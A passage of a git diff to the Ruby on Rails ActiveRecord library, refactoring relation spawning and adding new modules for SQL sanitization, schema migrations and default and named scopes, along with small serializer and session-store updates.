-        result.send(:"#{method}_values=", send(:"#{method}_values"))
-      end
-
-      (Relation::SINGLE_VALUE_METHODS - skips).each do |method|
-        result.send(:"#{method}_value=", send(:"#{method}_value"))
-      end
-
-      # Apply scope extension modules
-      result.send(:apply_modules, extensions)
-
+      result.extend(*extending_values) if extending_values.any?
       result
     end
 
@@ -96,44 +72,11 @@ module ActiveRecord
     #   Post.order('id asc').only(:where, :order) # uses the specified order
     #
     def only(*onlies)
-      result = self.class.new(@klass, table)
+      result = Relation.new(klass, table, values.slice(*onlies))
       result.default_scoped = default_scoped
-
-      ((Relation::ASSOCIATION_METHODS + Relation::MULTI_VALUE_METHODS) & onlies).each do |method|
-        result.send(:"#{method}_values=", send(:"#{method}_values"))
-      end
-
-      (Relation::SINGLE_VALUE_METHODS & onlies).each do |method|
-        result.send(:"#{method}_value=", send(:"#{method}_value"))
-      end
-
-      # Apply scope extension modules
-      result.send(:apply_modules, extensions)
-
+      result.extend(*extending_values) if extending_values.any?
       result
     end
 
-    VALID_FIND_OPTIONS = [ :conditions, :include, :joins, :limit, :offset, :extend,
-                           :order, :select, :readonly, :group, :having, :from, :lock ]
-
-    def apply_finder_options(options)
-      relation = clone
-      return relation unless options
-
-      options.assert_valid_keys(VALID_FIND_OPTIONS)
-      finders = options.dup
-      finders.delete_if { |key, value| value.nil? && key != :limit }
-
-      ([:joins, :select, :group, :order, :having, :limit, :offset, :from, :lock, :readonly] & finders.keys).each do |finder|
-        relation = relation.send(finder, finders[finder])
-      end
-
-      relation = relation.where(finders[:conditions]) if options.has_key?(:conditions)
-      relation = relation.includes(finders[:include]) if options.has_key?(:include)
-      relation = relation.extending(finders[:extend]) if options.has_key?(:extend)
-
-      relation
-    end
-
   end
 end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
index 9ceab2eabc..2414a4bbd7 100644
--- a/activerecord/lib/active_record/result.rb
+++ b/activerecord/lib/active_record/result.rb
@@ -8,12 +8,13 @@ module ActiveRecord
   class Result
     include Enumerable
 
-    attr_reader :columns, :rows
+    attr_reader :columns, :rows, :column_types
 
-    def initialize(columns, rows)
-      @columns   = columns
-      @rows      = rows
-      @hash_rows = nil
+    def initialize(columns, rows, column_types = {})
+      @columns      = columns
+      @rows         = rows
+      @hash_rows    = nil
+      @column_types = column_types
     end
 
     def each
@@ -24,6 +25,32 @@ module ActiveRecord
       hash_rows
     end
 
+    alias :map! :map
+    alias :collect! :map
+
+    # Returns true if there are no records.
+    def empty?
+      rows.empty?
+    end
+
+    def to_ary
+      hash_rows
+    end
+
+    def [](idx)
+      hash_rows[idx]
+    end
+
+    def last
+      hash_rows.last
+    end
+
+    def initialize_copy(other)
+      @columns   = columns.dup
+      @rows      = rows.dup
+      @hash_rows = nil
+    end
+
     private
     def hash_rows
       @hash_rows ||= @rows.map { |row|
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
new file mode 100644
index 0000000000..690409d62c
--- /dev/null
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -0,0 +1,186 @@
+
+module ActiveRecord
+  module Sanitization
+    extend ActiveSupport::Concern
+
+    module ClassMethods
+      def quote_value(value, column = nil) #:nodoc:
+        connection.quote(value,column)
+      end
+
+      # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
+      def sanitize(object) #:nodoc:
+        connection.quote(object)
+      end
+
+      protected
+
+      # Accepts an array, hash, or string of SQL conditions and sanitizes
+      # them into a valid SQL fragment for a WHERE clause.
+      #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
+      #   { :name => "foo'bar", :group_id => 4 }  returns "name='foo''bar' and group_id='4'"
+      #   "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
+      def sanitize_sql_for_conditions(condition, table_name = self.table_name)
+        return nil if condition.blank?
+
+        case condition
+        when Array; sanitize_sql_array(condition)
+        when Hash;  sanitize_sql_hash_for_conditions(condition, table_name)
+        else        condition
+        end
+      end
+      alias_method :sanitize_sql, :sanitize_sql_for_conditions
+
+      # Accepts an array, hash, or string of SQL conditions and sanitizes
+      # them into a valid SQL fragment for a SET clause.
+      #   { :name => nil, :group_id => 4 }  returns "name = NULL , group_id='4'"
+      def sanitize_sql_for_assignment(assignments)
+        case assignments
+        when Array; sanitize_sql_array(assignments)
+        when Hash;  sanitize_sql_hash_for_assignment(assignments)
+        else        assignments
+        end
+      end
+
+      # Accepts a hash of SQL conditions and replaces those attributes
+      # that correspond to a +composed_of+ relationship with their expanded
+      # aggregate attribute values.
+      # Given:
+      #     class Person < ActiveRecord::Base
+      #       composed_of :address, :class_name => "Address",
+      #         :mapping => [%w(address_street street), %w(address_city city)]
+      #     end
+      # Then:
+      #     { :address => Address.new("813 abc st.", "chicago") }
+      #       # => { :address_street => "813 abc st.", :address_city => "chicago" }
+      def expand_hash_conditions_for_aggregates(attrs)
+        expanded_attrs = {}
+        attrs.each do |attr, value|
+          if aggregation = reflect_on_aggregation(attr.to_sym)
+            mapping = aggregation.mapping
+            mapping.each do |field_attr, aggregate_attr|
+              if mapping.size == 1 && !value.respond_to?(aggregate_attr)
+                expanded_attrs[field_attr] = value
+              else
+                expanded_attrs[field_attr] = value.send(aggregate_attr)
+              end
+            end
+          else
+            expanded_attrs[attr] = value
+          end
+        end
+        expanded_attrs
+      end
+
+      # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
+      #   { :name => "foo'bar", :group_id => 4 }
+      #     # => "name='foo''bar' and group_id= 4"
+      #   { :status => nil, :group_id => [1,2,3] }
+      #     # => "status IS NULL and group_id IN (1,2,3)"
+      #   { :age => 13..18 }
+      #     # => "age BETWEEN 13 AND 18"
+      #   { 'other_records.id' => 7 }
+      #     # => "`other_records`.`id` = 7"
+      #   { :other_records => { :id => 7 } }
+      #     # => "`other_records`.`id` = 7"
+      # And for value objects on a composed_of relationship:
+      #   { :address => Address.new("123 abc st.", "chicago") }
+      #     # => "address_street='123 abc st.' and address_city='chicago'"
+      def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
+        attrs = expand_hash_conditions_for_aggregates(attrs)
+
+        table = Arel::Table.new(table_name).alias(default_table_name)
+        PredicateBuilder.build_from_hash(arel_engine, attrs, table).map { |b|
+          connection.visitor.accept b
+        }.join(' AND ')
+      end
+      alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
+
+      # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
+      #   { :status => nil, :group_id => 1 }
+      #     # => "status = NULL , group_id = 1"
+      def sanitize_sql_hash_for_assignment(attrs)
+        attrs.map do |attr, value|
+          "#{connection.quote_column_name(attr)} = #{quote_bound_value(value)}"
+        end.join(', ')
+      end
+
+      # Accepts an array of conditions. The array has each value
+      # sanitized and interpolated into the SQL statement.
+      #   ["name='%s' and group_id='%s'", "foo'bar", 4]  returns  "name='foo''bar' and group_id='4'"
+      def sanitize_sql_array(ary)
+        statement, *values = ary
+        if values.first.is_a?(Hash) && statement =~ /:\w+/
+          replace_named_bind_variables(statement, values.first)
+        elsif statement.include?('?')
+          replace_bind_variables(statement, values)
+        elsif statement.blank?
+          statement
+        else
+          statement % values.collect { |value| connection.quote_string(value.to_s) }
+        end
+      end
+
+      alias_method :sanitize_conditions, :sanitize_sql
+
+      def replace_bind_variables(statement, values) #:nodoc:
+        raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
+        bound = values.dup
+        c = connection
+        statement.gsub('?') { quote_bound_value(bound.shift, c) }
+      end
+
+      def replace_named_bind_variables(statement, bind_vars) #:nodoc:
+        statement.gsub(/(:?):([a-zA-Z]\w*)/) do
+          if $1 == ':' # skip postgresql casts
+            $& # return the whole match
+          elsif bind_vars.include?(match = $2.to_sym)
+            quote_bound_value(bind_vars[match])
+          else
+            raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
+          end
+        end
+      end
+
+      def expand_range_bind_variables(bind_vars) #:nodoc:
+        expanded = []
+
+        bind_vars.each do |var|
+          next if var.is_a?(Hash)
+
+          if var.is_a?(Range)
+            expanded << var.first
+            expanded << var.last
+          else
+            expanded << var
+          end
+        end
+
+        expanded
+      end
+
+      def quote_bound_value(value, c = connection) #:nodoc:
+        if value.respond_to?(:map) && !value.acts_like?(:string)
+          if value.respond_to?(:empty?) && value.empty?
+            c.quote(nil)
+          else
+            value.map { |v| c.quote(v) }.join(',')
+          end
+        else
+          c.quote(value)
+        end
+      end
+
+      def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc:
+        unless expected == provided
+          raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
+        end
+      end
+    end
+
+    # TODO: Deprecate this
+    def quoted_id
+      self.class.quote_value(id, column_for_attribute(self.class.primary_key))
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
index d815ab05ac..a540bc0a3b 100644
--- a/activerecord/lib/active_record/schema.rb
+++ b/activerecord/lib/active_record/schema.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   # = Active Record Schema
@@ -34,6 +33,15 @@ module ActiveRecord
       ActiveRecord::Migrator.migrations_paths
     end
 
+    def define(info, &block)
+      instance_eval(&block)
+
+      unless info[:version].blank?
+        initialize_schema_migrations_table
+        assume_migrated_upto_version(info[:version], migrations_paths)
+      end
+    end
+
     # Eval the given block. All methods available to the current connection
     # adapter are available within the block, so you can easily use the
     # database definition DSL to build up your schema (+create_table+,
@@ -46,13 +54,7 @@ module ActiveRecord
     #     ...
     #   end
     def self.define(info={}, &block)
-      schema = new
-      schema.instance_eval(&block)
-
-      unless info[:version].blank?
-        initialize_schema_migrations_table
-        assume_migrated_upto_version(info[:version], schema.migrations_paths)
-      end
+      new.define(info, &block)
     end
   end
 end
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
index cdde5cf3b9..a25a8d79bd 100644
--- a/activerecord/lib/active_record/schema_dumper.rb
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -40,7 +40,7 @@ module ActiveRecord
       def header(stream)
         define_params = @version ? ":version => #{@version}" : ""
 
-        if stream.respond_to?(:external_encoding)
+        if stream.respond_to?(:external_encoding) && stream.external_encoding
           stream.puts "# encoding: #{stream.external_encoding.name}"
         end
 
@@ -55,7 +55,7 @@ module ActiveRecord
 # from scratch. The latter is a flawed and unsustainable approach (the more migrations
 # you'll amass, the slower it'll run and the greater likelihood for issues).
 #
-# It's strongly recommended to check this file into your version control system.
+# It's strongly recommended that you check this file into your version control system.
 
 ActiveRecord::Schema.define(#{define_params}) do
 
@@ -70,8 +70,8 @@ HEADER
         @connection.tables.sort.each do |tbl|
           next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
             case ignored
-            when String; tbl == ignored
-            when Regexp; tbl =~ ignored
+            when String; remove_prefix_and_suffix(tbl) == ignored
+            when Regexp; remove_prefix_and_suffix(tbl) =~ ignored
             else
               raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
             end
@@ -92,7 +92,7 @@ HEADER
             pk = @connection.primary_key(table)
           end
 
-          tbl.print "  create_table #{table.inspect}"
+          tbl.print "  create_table #{remove_prefix_and_suffix(table).inspect}"
           if columns.detect { |c| c.name == pk }
             if pk != 'id'
               tbl.print %Q(, :primary_key => "#{pk}")
@@ -112,7 +112,7 @@ HEADER
 
             # AR has an optimization which handles zero-scale decimals as integers. This
             # code ensures that the dumper still dumps the column as a decimal.
-            spec[:type]      = if column.type == :integer && [/^numeric/, /^decimal/].any? { |e| e.match(column.sql_type) }
+            spec[:type]      = if column.type == :integer && /^(numeric|decimal)/ =~ column.sql_type
                                  'decimal'
                                else
                                  column.type.to_s
@@ -127,10 +127,14 @@ HEADER
           end.compact
 
           # find all migration keys used in this table
-          keys = [:name, :limit, :precision, :scale, :default, :null] & column_specs.map{ |k| k.keys }.flatten
+          keys = [:name, :limit, :precision, :scale, :default, :null]
 
           # figure out the lengths for each column based on above keys
-          lengths = keys.map{ |key| column_specs.map{ |spec| spec[key] ? spec[key].length + 2 : 0 }.max }
+          lengths = keys.map { |key|
+            column_specs.map { |spec|
+              spec[key] ? spec[key].length + 2 : 0
+            }.max
+          }
 
           # the string we're going to sprintf our values against, with standardized column widths
           format_string = lengths.map{ |len| "%-#{len}s" }
@@ -171,7 +175,7 @@ HEADER
         when BigDecimal
           value.to_s
         when Date, DateTime, Time
-          "'" + value.to_s(:db) + "'"
+          "'#{value.to_s(:db)}'"
         else
           value.inspect
         end
@@ -181,7 +185,7 @@ HEADER
         if (indexes = @connection.indexes(table)).any?
           add_index_statements = indexes.map do |index|
             statement_parts = [
-              ('add_index ' + index.table.inspect),
+              ('add_index ' + remove_prefix_and_suffix(index.table).inspect),
               index.columns.inspect,
               (':name => ' + index.name.inspect),
             ]
@@ -193,6 +197,8 @@ HEADER
             index_orders = (index.orders || {})
             statement_parts << (':order => ' + index.orders.inspect) unless index_orders.empty?
 
+            statement_parts << (':where => ' + index.where.inspect) if index.where
+
             '  ' + statement_parts.join(', ')
           end
 
@@ -200,5 +206,9 @@ HEADER
           stream.puts
         end
       end
+
+      def remove_prefix_and_suffix(table)
+        table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/,  "\\2")
+      end
   end
 end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
new file mode 100644
index 0000000000..ca22154c84
--- /dev/null
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -0,0 +1,37 @@
+require 'active_record/scoping/default'
+require 'active_record/scoping/named'
+require 'active_record/base'
+
+module ActiveRecord
+  class SchemaMigration < ActiveRecord::Base
+    attr_accessible :version
+
+    def self.table_name
+      "#{Base.table_name_prefix}schema_migrations#{Base.table_name_suffix}"
+    end
+
+    def self.index_name
+      "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
+    end
+
+    def self.create_table
+      unless connection.table_exists?(table_name)
+        connection.create_table(table_name, :id => false) do |t|
+          t.column :version, :string, :null => false
+        end
+        connection.add_index table_name, :version, :unique => true, :name => index_name
+      end
+    end
+
+    def self.drop_table
+      if connection.table_exists?(table_name)
+        connection.remove_index table_name, :name => index_name
+        connection.drop_table(table_name)
+      end
+    end
+
+    def version
+      super.to_i
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
new file mode 100644
index 0000000000..0c3fd1bd29
--- /dev/null
+++ b/activerecord/lib/active_record/scoping.rb
@@ -0,0 +1,30 @@
+
+module ActiveRecord
+  module Scoping
+    extend ActiveSupport::Concern
+
+    included do
+      include Default
+      include Named
+    end
+
+    module ClassMethods
+      def current_scope #:nodoc:
+        Thread.current["#{self}_current_scope"]
+      end
+
+      def current_scope=(scope) #:nodoc:
+        Thread.current["#{self}_current_scope"] = scope
+      end
+    end
+
+    def populate_with_current_scope_attributes
+      return unless self.class.scope_attributes?
+
+      self.class.scope_attributes.each do |att,value|
+        send("#{att}=", value) if respond_to?("#{att}=")
+      end
+    end
+
+  end
+end
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
new file mode 100644
index 0000000000..a2a85d4b96
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -0,0 +1,144 @@
+
+module ActiveRecord
+  module Scoping
+    module Default
+      extend ActiveSupport::Concern
+
+      included do
+        # Stores the default scope for the class
+        class_attribute :default_scopes, instance_writer: false
+        self.default_scopes = []
+      end
+
+      module ClassMethods
+        # Returns a scope for the model without the default_scope.
+        #
+        #   class Post < ActiveRecord::Base
+        #     def self.default_scope
+        #       where :published => true
+        #     end
+        #   end
+        #
+        #   Post.all          # Fires "SELECT * FROM posts WHERE published = true"
+        #   Post.unscoped.all # Fires "SELECT * FROM posts"
+        #
+        # This method also accepts a block. All queries inside the block will
+        # not use the default_scope:
+        #
+        #   Post.unscoped {
+        #     Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
+        #   }
+        #
+        # It is recommended that you use the block form of unscoped because
+        # chaining unscoped with <tt>scope</tt> does not work. Assuming that
+        # <tt>published</tt> is a <tt>scope</tt>, the following two statements
+        # are equal: the <tt>default_scope</tt> is applied on both.
+        #
+        #   Post.unscoped.published
+        #   Post.published
+        def unscoped
+          block_given? ? relation.scoping { yield } : relation
+        end
+
+        def before_remove_const #:nodoc:
+          self.current_scope = nil
+        end
+
+        protected
+
+        # Use this macro in your model to set a default scope for all operations on
+        # the model.
+        #
+        #   class Article < ActiveRecord::Base
+        #     default_scope { where(:published => true) }
+        #   end
+        #
+        #   Article.all # => SELECT * FROM articles WHERE published = true
+        #
+        # The <tt>default_scope</tt> is also applied while creating/building a record. It is not
+        # applied while updating a record.
+        #
+        #   Article.new.published    # => true
+        #   Article.create.published # => true
+        #
+        # (You can also pass any object which responds to <tt>call</tt> to the <tt>default_scope</tt>
+        # macro, and it will be called when building the default scope.)
+        #
+        # If you use multiple <tt>default_scope</tt> declarations in your model then they will
+        # be merged together:
+        #
+        #   class Article < ActiveRecord::Base
+        #     default_scope { where(:published => true) }
+        #     default_scope { where(:rating => 'G') }
+        #   end
+        #
+        #   Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G'
+        #
+        # This is also the case with inheritance and module includes where the parent or module
+        # defines a <tt>default_scope</tt> and the child or including class defines a second one.
+        #
+        # If you need to do more complex things with a default scope, you can alternatively
+        # define it as a class method:
+        #
+        #   class Article < ActiveRecord::Base
+        #     def self.default_scope
+        #       # Should return a scope, you can call 'super' here etc.
+        #     end
+        #   end
+        def default_scope(scope = nil)
+          scope = Proc.new if block_given?
+
+          if scope.is_a?(Relation) || !scope.respond_to?(:call)
+            ActiveSupport::Deprecation.warn(
+              "Calling #default_scope without a block is deprecated. For example instead " \
+              "of `default_scope where(color: 'red')`, please use " \
+              "`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
+              "self.default_scope.)"
+            )
+          end
+
+          self.default_scopes = default_scopes + [scope]
+        end
+
+        def build_default_scope #:nodoc:
+          if !Base.is_a?(method(:default_scope).owner)
+            # The user has defined their own default scope method, so call that
+            evaluate_default_scope { default_scope }
+          elsif default_scopes.any?
+            evaluate_default_scope do
+              default_scopes.inject(relation) do |default_scope, scope|
+                if !scope.is_a?(Relation) && scope.respond_to?(:call)
+                  default_scope.merge(unscoped { scope.call })
+                else
+                  default_scope.merge(scope)
+                end
+              end
+            end
+          end
+        end
+
+        def ignore_default_scope? #:nodoc:
+          Thread.current["#{self}_ignore_default_scope"]
+        end
+
+        def ignore_default_scope=(ignore) #:nodoc:
+          Thread.current["#{self}_ignore_default_scope"] = ignore
+        end
+
+        # The ignore_default_scope flag is used to prevent an infinite recursion situation where
+        # a default scope references a scope which has a default scope which references a scope...
+        def evaluate_default_scope
+          return if ignore_default_scope?
+
+          begin
+            self.ignore_default_scope = true
+            yield
+          ensure
+            self.ignore_default_scope = false
+          end
+        end
+
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/scoping/named.rb b/activerecord/lib/active_record/scoping/named.rb
new file mode 100644
index 0000000000..75f31229b5
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/named.rb
@@ -0,0 +1,190 @@
+require 'active_support/core_ext/array'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/kernel/singleton_class'
+
+module ActiveRecord
+  # = Active Record Named \Scopes
+  module Scoping
+    module Named
+      extend ActiveSupport::Concern
+
+      module ClassMethods
+        # Returns an <tt>ActiveRecord::Relation</tt> scope object.
+        #
+        #   posts = Post.all
+        #   posts.size # Fires "select count(*) from  posts" and returns the count
+        #   posts.each {|p| puts p.name } # Fires "select * from posts" and loads post objects
+        #
+        #   fruits = Fruit.all
+        #   fruits = fruits.where(:color => 'red') if options[:red_only]
+        #   fruits = fruits.limit(10) if limited?
+        #
+        # You can define a \scope that applies to all finders using
+        # ActiveRecord::Base.default_scope.
+        def all
+          if current_scope
+            current_scope.clone
+          else
+            scope = relation
+            scope.default_scoped = true
+            scope
+          end
+        end
+
+        ##
+        # Collects attributes from scopes that should be applied when creating
+        # an AR instance for the particular class this is called on.
+        def scope_attributes # :nodoc:
+          if current_scope
+            current_scope.scope_for_create
+          else
+            scope = relation
+            scope.default_scoped = true
+            scope.scope_for_create
+          end
+        end
+
+        ##
+        # Are there default attributes associated with this scope?
+        def scope_attributes? # :nodoc:
+          current_scope || default_scopes.any?
+        end
+
+        # Adds a class method for retrieving and querying objects. A \scope represents a narrowing of a database query,
+        # such as <tt>where(:color => :red).select('shirts.*').includes(:washing_instructions)</tt>.
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     scope :red, where(:color => 'red')
+        #     scope :dry_clean_only, joins(:washing_instructions).where('washing_instructions.dry_clean_only = ?', true)
+        #   end
+        #
+        # The above calls to <tt>scope</tt> define class methods Shirt.red and Shirt.dry_clean_only. Shirt.red,
+        # in effect, represents the query <tt>Shirt.where(:color => 'red')</tt>.
+        #
+        # Note that this is simply 'syntactic sugar' for defining an actual class method:
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     def self.red
+        #       where(:color => 'red')
+        #     end
+        #   end
+        #
+        # Unlike <tt>Shirt.find(...)</tt>, however, the object returned by Shirt.red is not an Array; it
+        # resembles the association object constructed by a <tt>has_many</tt> declaration. For instance,
+        # you can invoke <tt>Shirt.red.first</tt>, <tt>Shirt.red.count</tt>, <tt>Shirt.red.where(:size => 'small')</tt>.
+        # Also, just as with the association objects, named \scopes act like an Array, implementing Enumerable;
+        # <tt>Shirt.red.each(&block)</tt>, <tt>Shirt.red.first</tt>, and <tt>Shirt.red.inject(memo, &block)</tt>
+        # all behave as if Shirt.red really was an Array.
+        #
+        # These named \scopes are composable. For instance, <tt>Shirt.red.dry_clean_only</tt> will produce
+        # all shirts that are both red and dry clean only.
+        # Nested finds and calculations also work with these compositions: <tt>Shirt.red.dry_clean_only.count</tt>
+        # returns the number of garments for which these criteria obtain. Similarly with
+        # <tt>Shirt.red.dry_clean_only.average(:thread_count)</tt>.
+        #
+        # All \scopes are available as class methods on the ActiveRecord::Base descendant upon which
+        # the \scopes were defined. But they are also available to <tt>has_many</tt> associations. If,
+        #
+        #   class Person < ActiveRecord::Base
+        #     has_many :shirts
+        #   end
+        #
+        # then <tt>elton.shirts.red.dry_clean_only</tt> will return all of Elton's red, dry clean
+        # only shirts.
+        #
+        # Named \scopes can also be procedural:
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     scope :colored, lambda { |color| where(:color => color) }
+        #   end
+        #
+        # In this example, <tt>Shirt.colored('puce')</tt> finds all puce shirts.
+        #
+        # On Ruby 1.9 you can use the 'stabby lambda' syntax:
+        #
+        #   scope :colored, ->(color) { where(:color => color) }
+        #
+        # Note that scopes defined with \scope will be evaluated when they are defined, rather than
+        # when they are used. For example, the following would be incorrect:
+        #
+        #   class Post < ActiveRecord::Base
+        #     scope :recent, where('published_at >= ?', Time.current - 1.week)
+        #   end
+        #
+        # The example above would be 'frozen' to the <tt>Time.current</tt> value when the <tt>Post</tt>
+        # class was defined, and so the resultant SQL query would always be the same. The correct
+        # way to do this would be via a lambda, which will re-evaluate the scope each time
+        # it is called:
+        #
+        #   class Post < ActiveRecord::Base
+        #     scope :recent, lambda { where('published_at >= ?', Time.current - 1.week) }
+        #   end
+        #
+        # Named \scopes can also have extensions, just as with <tt>has_many</tt> declarations:
+        #
+        #   class Shirt < ActiveRecord::Base
+        #     scope :red, where(:color => 'red') do
+        #       def dom_id
+        #         'red_shirts'
+        #       end
+        #     end
+        #   end
+        #
+        # Scopes can also be used while creating/building a record.
+        #
+        #   class Article < ActiveRecord::Base
+        #     scope :published, where(:published => true)
+        #   end
+        #
+        #   Article.published.new.published    # => true
+        #   Article.published.create.published # => true
+        #
+        # Class methods on your model are automatically available
+        # on scopes. Assuming the following setup:
+        #
+        #   class Article < ActiveRecord::Base
+        #     scope :published, where(:published => true)
+        #     scope :featured, where(:featured => true)
+        #
+        #     def self.latest_article
+        #       order('published_at desc').first
+        #     end
+        #
+        #     def self.titles
+        #       map(&:title)
+        #     end
+        #
+        #   end
+        #
+        # We are able to call the methods like this:
+        #
+        #   Article.published.featured.latest_article
+        #   Article.featured.titles
+
+        def scope(name, body, &block)
+          extension = Module.new(&block) if block
+
+          # Check body.is_a?(Relation) to prevent the relation actually being
+          # loaded by respond_to?
+          if body.is_a?(Relation) || !body.respond_to?(:call)
+            ActiveSupport::Deprecation.warn(
+              "Using #scope without passing a callable object is deprecated. For " \
+              "example `scope :red, where(color: 'red')` should be changed to " \
+              "`scope :red, -> { where(color: 'red') }`. There are numerous gotchas " \
+              "in the former usage and it makes the implementation more complicated " \
+              "and buggy. (If you prefer, you can just define a class method named " \
+              "`self.red`.)"
+            )
+          end
+
+          singleton_class.send(:define_method, name) do |*args|
+            options  = body.respond_to?(:call) ? unscoped { body.call(*args) } : body
+            relation = all.merge(options)
+
+            extension ? relation.extending(extension) : relation
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/serialization.rb b/activerecord/lib/active_record/serialization.rb
index 5ad40d8cd9..e8dd312a47 100644
--- a/activerecord/lib/active_record/serialization.rb
+++ b/activerecord/lib/active_record/serialization.rb
@@ -1,14 +1,26 @@
 module ActiveRecord #:nodoc:
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :include_root_in_json, instance_accessor: false
+    self.include_root_in_json = true
+  end
+
   # = Active Record Serialization
   module Serialization
     extend ActiveSupport::Concern
     include ActiveModel::Serializers::JSON
 
+    included do
+      singleton_class.class_eval do
+        remove_method :include_root_in_json
+        delegate :include_root_in_json, to: 'ActiveRecord::Model'
+      end
+    end
+
     def serializable_hash(options = nil)
       options = options.try(:clone) || {}
 
-      options[:except] = Array.wrap(options[:except]).map { |n| n.to_s }
-      options[:except] |= Array.wrap(self.class.inheritance_column)
+      options[:except] = Array(options[:except]).map { |n| n.to_s }
+      options[:except] |= Array(self.class.inheritance_column)
 
       super(options)
     end
diff --git a/activerecord/lib/active_record/serializers/xml_serializer.rb b/activerecord/lib/active_record/serializers/xml_serializer.rb
index 0e7f57aa43..834d01a1e8 100644
--- a/activerecord/lib/active_record/serializers/xml_serializer.rb
+++ b/activerecord/lib/active_record/serializers/xml_serializer.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/array/wrap'
 require 'active_support/core_ext/hash/conversions'
 
 module ActiveRecord #:nodoc:
@@ -19,8 +18,8 @@ module ActiveRecord #:nodoc:
     #     <id type="integer">1</id>
     #     <approved type="boolean">false</approved>
     #     <replies-count type="integer">0</replies-count>
-    #     <bonus-time type="datetime">2000-01-01T08:28:00+12:00</bonus-time>
-    #     <written-on type="datetime">2003-07-16T09:28:00+1200</written-on>
+    #     <bonus-time type="dateTime">2000-01-01T08:28:00+12:00</bonus-time>
+    #     <written-on type="dateTime">2003-07-16T09:28:00+1200</written-on>
     #     <content>Have a nice day</content>
     #     <author-email-address>david@loudthinking.com</author-email-address>
     #     <parent-id></parent-id>
@@ -163,8 +162,9 @@ module ActiveRecord #:nodoc:
     #
     #   class IHaveMyOwnXML < ActiveRecord::Base
     #     def to_xml(options = {})
+    #       require 'builder'
     #       options[:indent] ||= 2
-    #       xml = options[:builder] ||= Builder::XmlMarkup.new(:indent => options[:indent])
+    #       xml = options[:builder] ||= ::Builder::XmlMarkup.new(:indent => options[:indent])
     #       xml.instruct! unless options[:skip_instruct]
     #       xml.level_one do
     #         xml.tag!(:second_level, 'content')
@@ -177,11 +177,6 @@ module ActiveRecord #:nodoc:
   end
 
   class XmlSerializer < ActiveModel::Serializers::Xml::Serializer #:nodoc:
-    def initialize(*args)
-      super
-      options[:except] = Array.wrap(options[:except]) | Array.wrap(@serializable.class.inheritance_column)
-    end
-
     class Attribute < ActiveModel::Serializers::Xml::Serializer::Attribute #:nodoc:
       def compute_type
         klass = @serializable.class
diff --git a/activerecord/lib/active_record/session_store.rb b/activerecord/lib/active_record/session_store.rb
index 92550c7efc..58e1dab508 100644
--- a/activerecord/lib/active_record/session_store.rb
+++ b/activerecord/lib/active_record/session_store.rb
@@ -1,3 +1,5 @@
+require 'action_dispatch/middleware/session/abstract_store'
+
 module ActiveRecord
   # = Active Record Session Store
   #
@@ -7,7 +9,7 @@ module ActiveRecord
   #
   # The default assumes a +sessions+ tables with columns:
   #   +id+ (numeric primary key),
-  #   +session_id+ (text, or longtext if your session data exceeds 65K), and
+  #   +session_id+ (string, usually varchar; maximum length is 255), and
   #   +data+ (text or longtext; careful if your session data exceeds 65KB).
   #
   # The +session_id+ column should always be indexed for speedy lookups.
@@ -51,26 +53,25 @@ module ActiveRecord
   class SessionStore < ActionDispatch::Session::AbstractStore
     module ClassMethods # :nodoc:
       def marshal(data)
-        ActiveSupport::Base64.encode64(Marshal.dump(data)) if data
+        ::Base64.encode64(Marshal.dump(data)) if data
       end
 
       def unmarshal(data)
-        Marshal.load(ActiveSupport::Base64.decode64(data)) if data
+        Marshal.load(::Base64.decode64(data)) if data
       end
 
       def drop_table!
-        connection_pool.clear_table_cache!(table_name)
+        connection.schema_cache.clear_table_cache!(table_name)
         connection.drop_table table_name
       end
 
       def create_table!
-        id_col_name, data_col_name = session_id_column, data_column_name
-        connection_pool.clear_table_cache!(table_name)
+        connection.schema_cache.clear_table_cache!(table_name)
         connection.create_table(table_name) do |t|
-          t.string id_col_name, :limit => 255
-          t.text data_col_name
+          t.string session_id_column, :limit => 255
+          t.text data_column_name
         end
